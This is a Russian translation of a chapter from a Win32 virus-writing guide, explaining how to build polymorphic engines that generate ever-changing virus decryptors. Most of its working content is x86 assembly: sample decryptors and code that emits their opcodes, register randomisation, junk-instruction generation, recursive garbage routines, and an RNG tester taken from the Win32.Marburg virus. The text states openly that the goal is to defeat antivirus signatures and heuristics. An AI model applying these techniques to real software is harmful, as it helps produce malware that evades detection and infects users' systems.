Путеводитель по написанию вирусов под Win32: 9. Win32-полиморфизм — Архив WASM.RU
Многие люди сказали мне, что самым слабым местом в моем путеводителе под MS-DOS была глава, посвященная полиморфизму (ммм, я написал ее, когда мне было 15, и тогда я знал ассемблер только 1 месяц). По этой причине я решил попытаться написать новую главу абсолютно с нуля. С тех пор я прочел много различных документов о полиморфизме и больше всего меня потряс Qozah'овский. Хотя он очень простой, все концепции полиморфизма, которые необходимы для создания полиморфных движков, объясняются в нем очень хорошо (если вы хотите прочитать его, скачайте DDT#1 с какого-нибудь хорошего VX-сайта). В некоторых частях этой главы я буду делать пояснения для полных ламеров, поэтому если у вас уже есть основные знания, пропустите их!
Введение
Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна.
Уровни полиморфизма
У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Существует система деления полиморфных вирусов на уровни, согласно сложности кода декриптора этих вирусов. Эта система была представлена д-ром Аланом Соломоном, а затем улучшена Весселином Бонтчевым.
Уровень 1: У вируса есть набор декрипторов с постоянным кодом, один из которых выбирается при заражении. Такие вирусы называеются "полуполиморфными" или "олигоморфными".
Примеры: "Cheeba", "Slovakia", "Whale".
Уровень 2: декриптор вируса содержит одну или более постоянную инструкцию, остальное изменяется.
Уровень 3: декриптор содержит неиспользуемые функции - "мусор", такой как NOP, CLI, STI и так далее.
Уровень 4: декриптор использует равнозначные инструкции и изменяет их порядок. Алгоритм расшифровки остается неизменным.
Уровень 5: используются все вышеперечисленные техники, алгоритм расшифровки меняется, возможно неоднократное шифрование кода вируса и даже частичное шифрование кода декриптора.
Уровень 6: пермутирующие вирусы. Основной код вируса также меняется, он поделен на блоки, которые меняют свое местоположение при заражении. При этом вирус продолжает работать. Некоторые вирусы могут быть незашифрованны.
У такого разделения есть свои недостатки, так как основной критерий - это возможность детектирования вируса согласно коду генератора с помощью условной техники вирусных масок:
Уровень 1: чтобы обнаружить вирус достаточно иметь несколько масок
Уровень 2: обнаружение вируса производится с помощью маски, используя "wild card'ы".
Уровень 3: обнаружение вируса производиться с помощью маски после удаления "мусорных" инструкций.
Уровень 4: маска содержит несколько версий возможного кода, то есть он становится алгоритмичным
Уровень 5: невозможность обнаружения вируса с помощью масок.
Недостаточность такого деления продемонстрирована в вирусе третьего уровня полиморфизма, который называется соответствующим образом - "Level3". Этот вирус, будучи одним из самых сложных полиморфных вирусов, попадает в третью категорию, потому что у него постоянный алгоритм расшифровки, предшествуемый большим количеством мусорных инструкций. Тем не менее, в этом вирусе алгоритм генерации мусора близок к совершенству: в коде декриптора можно найти почти все инструкции i8086.
Если делить вирусы на уровни с точки зрения антивирусов, использующие системы автоматической расшифровки кода вирусов (эмуляторов), тогда это деление будет зависеть от сложности кода. Другие техники обнаружения вирусов также возможны, например, расшифровка с помощью основных законов математики и так далее.
Поэтому, на мой взгляд, деление будет более объективным, если кроме вирусной маски в расчет будут приниматься другие параметры.
1. Степерь сложности полиморфного кода (процент всех инструкций процессора, которые можно встретить в коде декриптора) 2. Использование техник антиэмуляции 3. Постоянность алгоритма расшифровки 4. Постоянность размера декриптора
Я не буду объяснять эти вещи более детально, поскольку в результате это заставить вирмейкеров создавать монстров подобного рода.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Ха-ха, Евгений. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу?
Как я могу сделать полиморф?
Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:
Код (Text):
mov ecx,virus_size lea edi,pointer_to_code_to_crypt mov eax,crypt_key @@1: xor dword ptr [edi],eax add edi,4 loop @@1Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:
- Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее
Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:
Код (Text):
shl eax,2 add ebx,157637369h imul eax,ebx,69 (*) mov ecx,virus_size rcl esi,1 cli (*) lea edi,pointer_to_code_to_crypt xchg eax,esi (*) mov eax,crypt_key mov esi,22132546h and ebx,0FF242569h (*) xor dword ptr [edi],eax or eax,34548286h add esi,76869678h (*) add edi,4 stc push eax xor edx,24564631h pop esi (*) loop 00401013h cmc or edx,132h [...]Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полимофном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.
Очень важная вещь: ГСЧ
Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.
Код (Text):
random: in eax,40h retЭто возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; ; Тестировщик ГСЧ ; --------------- ; ; Если иконки на экране расположены действительно "случайным" образом, значит, ; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы ; заметили странную последовательность в расположении иконок на экране, ; попробуйте другой ГСЧ. ; .386 .model flat res_x equ 800d ; Горизонтальное разрешение res_y equ 600d ; Вертикальное разрешение extrn LoadLibraryA:PROC ; Все APIs, которые нужны extrn LoadIconA:PROC ; тестировщику ГСЧ extrn DrawIcon:PROC extrn GetDC:PROC extrn GetProcAddress:PROC extrn GetTickCount:PROC extrn ExitProcess:PROC .data szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz-строка a_User32 dd 00000000h ; Требуемые переменные h_icon dd 00000000h dc_screen dd 00000000h rnd32_seed dd 00000000h rdtsc equ <dw 310Fh> .code RNG_test: xor ebp,ebp ; Вах, я ленив и не удалил ; индексацию из кода... ; Есть проблемы? rdtsc mov dword ptr [ebp+rnd32_seed],eax lea eax,dword ptr [ebp+szUSER32] push eax call LoadLibraryA or eax,eax jz exit_payload mov dword ptr [ebp+a_User32],eax push 32512 xor edx,edx push edx call LoadIconA or eax,eax jz exit_payload mov dword ptr [ebp+h_icon],eax xor edx,edx push edx call GetDC or eax,eax jz exit_payload mov dword ptr [ebp+dc_screen],eax mov ecx,00000100h ; Помещаем 256 иконок на экран loop_payload: push eax push ecx mov edx,eax push dword ptr [ebp+h_icon] mov eax,res_y call get_rnd_range push eax mov eax,res_x call get_rnd_range push eax push dword ptr [ebp+dc_screen] call DrawIcon pop ecx pop eax loop loop_payload exit_payload: push 0 call ExitProcess ; RNG - Этот пример создан GriYo/29A (смотри Win32.Marburg) ; ; Чтобы проверить валидность вашего RNG, помещайте его код здесь ;) ; random proc push ecx push edx mov eax,dword ptr [ebp+rnd32_seed] mov ecx,eax imul eax,41C64E6Dh add eax,00003039h mov dword ptr [ebp+rnd32_seed],eax xor eax,ecx pop edx pop ecx ret random endp get_rnd_range proc push ecx push edx mov ecx,eax call random xor edx,edx div ecx mov eax,edx pop edx pop ecx ret get_rnd_range endp end RNG_test ;---[ CUT HERE ]-------------------------------------------------------------Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции .
Основные концепции полиморфного движка
Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.
Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; ; Silly PER basic demonstrations (I) ; ---------------------------------- ; .386 ; Blah .model flat .data shit: buffer db 00h .code Silly_I: lea edi,buffer ; Указатель на буфер mov al,0C3h ; Байт, который нужно записать, находится в AL stosb ; Записать содержимое AL туда, куда указывает ; EDI jmp shit ; Байт, который мы записали, C3, является ; опкодом инструкции RET, т.е. мы заканчиваем ; выполнение end Silly_I ;---[ CUT HERE ]-------------------------------------------------------------Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:
Код (Text):
mov ecx,virus_size mov edi,offset crypt mov eax,crypt_key @@1: xor dword ptr [edi],eax add edi,4 loop @@1Соответствено, код для генерации декриптора с нуля будет примерно следующим:
Код (Text):
mov al,0B9h ; опкод MOV ECX,imm32 stosb ; сохраняем AL, куда указывает EDI mov eax,virus_size ; Число, которое нужно сохранить stosd ; сохранить EAX, куда указывает EDI mov al,0BFh : опкод MOV EDI,offset32 stosb ; сохраняем AL, куда указывает EDI mov eax,offset crypt ; 32-х битное сохраняемое смещение stosd ; сохраняем EAX, куда указывает EDI mov al,0B8h ; опкод MOV EAX,imm32 stosb ; сохраняем AL, куда указывает EDI mov eax,crypt_key ; Imm32, который нужно сохранить stosd ; сохраняем EAX, куда указывает EDI mov ax,0731h ; опкод XOR [EDI],EAX stosw ; сохраняем AX, куда указывает EDI mov ax,0C783h ; опкод ADD EDI,imm32 (>7F) stosw ; сохраняем AX, куда указывает EDI mov al,04h ; Сохраняемый Imm32 (>7F) stosb ; сохраняем AL, куда указывает EDI mov ax,0F9E2h ; опкод LOOP @@1 stosw ; сохраняем AX, куда указывает EDIЛадно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; ; Silly PER basic demonstrations (II) ; ----------------------------------- ; .386 ; Blah .model flat virus_size equ 12345678h ; Фальшивые данные crypt equ 87654321h crypt_key equ 21436587h .data db 00h .code Silly_II: lea edi,buffer ; Указатель на буфер - это код ; возврата, мы заканчиваем ; выполнение mov al,0B9h ; Опкод MOV ECX,imm32 stosb ; Сохранить AL, куда указ. EDI mov eax,virus_size ; Непоср. знач., к-рое нужно сохр. stosd ; Сохр. EAX, куда указывает EDI call onebyte mov al,0BFh ; Опкод MOV EDI, offset32 stosb ; Сохр. AL, куда указывает EDI mov eax,crypt ; Offset32, который нужно сохранить stosd ; Сохр. EAX, куда указывает EDI call onebyte mov al,0B8h ; MOV EAX,imm32 stosb ; Сохр. AL, куда указывает EDI mov eax,crypt_key stosd ; Сохр. EAX, куда указывает EDI call onebyte mov ax,0731h ; Опкод XOR [EDI],EAX stosw ; Сохр. AX, куда указывает EDI mov ax,0C783h ; Опкод ADD EDI,imm32 (>7F) stosw ; Сохр. AX, куда указывает EDI mov al,04h ; Imm32 (>7F), который нужно сохр. stosb ; Сохр. AL, куда указывает EDI mov ax,0F9E2h ; Опкод LOOP @@1 stosw ; Сохр. AX, куда указывает EDI ret random: in eax,40h ; Чертов RNG ret onebyte: call random ; Получаем случайное число and eax,one_size ; Сделать его равным [0..7] mov al,[one_table+eax] ; Получить опкод в AL stosb ; Сохр. AL, куда указывает EDI ret one_table label byte ; Таблица однобайтных инструкций lahf sahf cbw clc stc cmc cld nop one_size equ ($-offset one_table)-1 buffer db 100h dup (90h) ; Простой буфер end Silly_II ;---[ CUT HERE ]-------------------------------------------------------------Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.
Генерация "настоящего" кода
Давайте взглянем на наш набор инструкций.
Код (Text):
mov ecx,virus_size ; (1) lea edi,crypt ; (2) mov eax,crypt_key ; (3) @@1: xor dword ptr [edi],eax ; (4) add edi,4 ; (5) loop @@1 ; (6)Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...
- Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:
Код (Text):
mov ecx,virus_sizeили
Код (Text):
push virus_size pop ecxили
Код (Text):
mov ecx,not (virus_size) not ecxили
Код (Text):
mov ecx,(virus_size xor 12345678h) xor ecx,12345678hи так далее, и так далее...
Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.
- Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.
- Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:
Код (Text):
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= InitPoly proc @@1: mov eax,8 ; Получить случайный регистр call r_range ; EAX := [0..7] cmp eax,4 ; Это ESP? jz @@1 ; Если да, получаем другой mov byte ptr [ebp+base],al ; Сохраняем его mov ebx,eax ; EBX = базовый регистр @@2: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7] cmp eax,4 ; Это ESP? jz @@2 ; Если да, получаем другой cmp eax,ebx ; Равен базовому указателю? jz @@2 ; Если да, получаем другой mov byte ptr [ebp+count],al ; Сохраняем его mov ecx,eax ; ECX = Регистр-счетчик @@3: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7] cmp eax,4 ; Это ESP? jz @@3 ; Если да, получаем другой cmp eax,ebx ; Равен регистру базового указ.? jz @@3 ; Если да, получаем другой cmp eax,ecx ; Равен регистру-счетчику? jz @@3 ; Если да, получаем другой mov byte ptr [ebp+key],al ; Сохраняем его ret InitPoly endp -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, использумых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.
Генерация мусора
Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:
- Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.
- Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.
Ок, тогда давай начнет:
¦ Общее для обоих случаев:
- CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы
¦ Реалистичность:
"Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:
- CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)
¦ Mental Drillism... гхрм... Поврежденный код выглядит следующим образом:
Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Ладно, теперь я попытаюсь объснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.
• Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:
Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.
Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.
• Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:
• Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.
• То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.
• Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:
ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).
• Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-инбудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.
• Структуры PUS/TRASH/POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.
• Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или люботному человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что примлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов).
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Дальше идет немного менталдриллизма .
• Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:
f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.
Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:
Код (Text):
fwait fninitГенерация инструкций
Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:
Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...
Код (Text):
xor edx,12345678h -> 81 F2 78563412 xor esi,12345678h -> 81 F6 78563412Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.
Код (Text):
F2 -> 11 110 010 F6 -> 11 110 110Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...
Код (Text):
010 -> EDX 110 -> ESIПросто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).
Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!
Рекурсивность
Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:
Код (Text):
PolyTable: dd offset (GenerateMOV) dd offset (GenerateCALL) dd offset (GeneratteJMP) [...] EndPolyTable:И представьте, что у вас есть следующая процедура для выбора между ними:
Код (Text):
GenGarbage: mov eax,EndPolyTable-PolyTable call r_range lea ebx,[ebp+PolyTable] mov eax,[ebx+eax*4] add eax,ebp call eax retПредставьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':
Код (Text):
GenGarbage: inc byte ptr [ebp+recursion_level] cmp byte ptr [ebp+recursion_level],05 ; <- 5 - это уровень jae GarbageExit ; рекурсии mov eax,EndPolyTable-PolyTable call r_range lea ebx,[ebp+PolyTable] mov eax,[ebx+eax*4] add eax,ebp call eax GarbageExit: dec byte ptr [ebp+recursion_level] retТаким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP .
Заключение
Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны! © Billy Belcebu, пер. Aquila
Путеводитель по написанию вирусов под Win32: 9. Win32-полиморфизм
Дата публикации 1 ноя 2002